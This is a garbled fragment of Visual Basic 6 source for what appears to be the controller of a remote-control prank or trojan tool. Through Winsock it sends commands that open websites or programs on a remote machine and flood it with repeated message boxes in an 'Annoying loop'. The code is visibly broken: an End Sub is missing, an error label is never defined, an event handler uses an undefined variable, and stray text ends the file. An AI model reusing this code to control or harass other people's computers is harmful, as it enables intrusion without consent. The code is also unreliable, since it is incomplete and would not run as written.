MsgBox "An error has occurred. Most likely you forgot to highlight an address", vbCritical, "Error"
Exit Sub
End Sub
Private Sub Command3_Click()
Dim command As String
On Error GoTo er
command = List2.Text
With Win
.SendData command
End With
Exit Sub
Exit Sub
End Sub
Private Sub Command4_Click()
On Error GoTo er
Select Case List3.Text
Case "Open a website"
mf = InputBox("Enter the url of the website you would like to open:", "Enter url")
Win.SendData "Web " & mf
Case "Open a program"
mf = InputBox("Enter the location of the file you would like to open:", "Enter File Location")
Win.SendData "Ope " & mf
Case "Annoying loop"
mf = InputBox("Enter the message you would like displayed:", "Enter the message")
l = InputBox("Enter how many times you want the loop to repeat:", "Number of repeats")
For X = 0 To l
Win.SendData "Mes " & mf
Next X
Case "Send a message"
Form2.Show
End Select
Exit Sub
End Sub
Private Sub Command5_Click()
MsgBox "These commands do require some input from you." & Chr(10) & Chr(10) & "Any command in here, does require you to input some information. Such as a url, or a filename, and other such things.", vbQuestion
End Sub
Private Sub Command6_Click()
MsgBox "These commands don't require any input from you." & Chr(10) & Chr(10) & "Any commands in here simply require you to select them, and press ok. The program won't require any inputed information.", vbQuestion
Private Sub Win_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Win.GetData data
rt.SelText = Win.RemoteHostIP & ": " & data & vbCrLf
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Select Case Left(data, 3)
Case "Meg"
ms = Right(data, Len(data) - 4)
Form3.Text1.Text = data
If Form3.Visible = False Then
Form3.Show
Exit Sub
End If
End Select
End Sub
Private Sub Winsock2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
(.txt)